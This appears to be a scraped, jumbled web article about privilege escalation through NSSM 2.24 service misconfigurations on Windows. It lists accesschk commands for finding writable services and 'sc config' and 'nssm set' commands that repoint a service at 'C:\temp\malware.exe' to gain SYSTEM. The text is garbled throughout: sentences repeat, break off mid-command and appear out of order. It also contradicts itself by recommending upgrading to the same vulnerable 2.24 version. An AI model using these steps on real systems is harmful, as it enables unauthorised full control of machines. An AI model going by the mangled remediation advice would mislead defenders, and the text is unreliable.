Nssm-2.24 Privilege Escalation -

sc config <service_name> binPath= "C:\temp\malware.exe" Or, if using NSSM directly:

If you must use NSSM, migrate to version 2.24 . Better yet, use a maintained alternative like WinSW with XML configuration files that support integrity checks. Conclusion NSSM 2.24 privilege escalation is not a classic buffer overflow or race condition—it is a design weakness amplified by common misconfigurations. Attackers love it because it turns a low-privilege foothold into full SYSTEM access with minimal noise. nssm-2.24 privilege escalation

nssm set <service_name> Application "C:\temp\malware.exe" The attacker stops and restarts the service (if they have SERVICE_START and SERVICE_STOP rights) or waits for a system reboot: sc config &lt;service_name&gt; binPath= "C:\temp\malware

accesschk.exe -uwcqv "Authenticated Users" <service_name> accesschk.exe -uwcqv "BUILTIN\Users" <service_name> If the attacker has write access to the service configuration (often misconfigured in legacy systems), they can proceed. The attacker changes the binPath to point to a malicious executable they control: Attackers love it because it turns a low-privilege
